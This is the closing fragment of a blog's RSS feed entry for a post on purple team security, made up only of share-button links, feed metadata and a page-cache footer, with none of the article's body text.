<p><a class="a2a_button_mastodon" href="https://www.addtoany.com/add_to/mastodon?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="Mastodon" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_email" href="https://www.addtoany.com/add_to/email?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="Email" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_whatsapp" href="https://www.addtoany.com/add_to/whatsapp?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="WhatsApp" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_reddit" href="https://www.addtoany.com/add_to/reddit?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="Reddit" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_x" href="https://www.addtoany.com/add_to/x?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="X" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_linkedin" href="https://www.addtoany.com/add_to/linkedin?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="LinkedIn" rel="nofollow noopener" target="_blank"></a><a class="a2a_button_copy_link" href="https://www.addtoany.com/add_to/copy_link?linkurl=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&amp;linkname=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" title="Copy Link" rel="nofollow noopener" target="_blank"></a><a class="a2a_dd addtoany_share_save addtoany_share" href="https://www.addtoany.com/share#url=https%3A%2F%2Flinuxcent.com%2Fwhat-is-purple-team-security%2F&#038;title=What%20Is%20Purple%20Team%20Security%3A%20Red%20%2B%20Blue%20%3D%20Better%20Defense" data-a2a-url="https://linuxcent.com/what-is-purple-team-security/" data-a2a-title="What Is Purple Team Security: Red + Blue = Better Defense"></a></p><p>The post <a href="https://linuxcent.com/what-is-purple-team-security/">What Is Purple Team Security: Red + Blue = Better Defense</a> appeared first on <a href="https://linuxcent.com">Linuxcent</a>.</p>
]]></content:encoded>
					
					<wfw:commentRss>https://linuxcent.com/what-is-purple-team-security/feed/</wfw:commentRss>
			<slash:comments>0</slash:comments>
		
		
		<post-id xmlns="com-wordpress:feed-additions:1">1843</post-id>	</item>
	</channel>
</rss>

<!--
Performance optimized by W3 Total Cache. Learn more: https://www.boldgrid.com/w3-total-cache/?utm_source=w3tc&utm_medium=footer_comment&utm_campaign=free_plugin

Page Caching using Disk: Enhanced 

Served from: linuxcent.com @ 2026-08-22 00:02:57 by W3 Total Cache
-->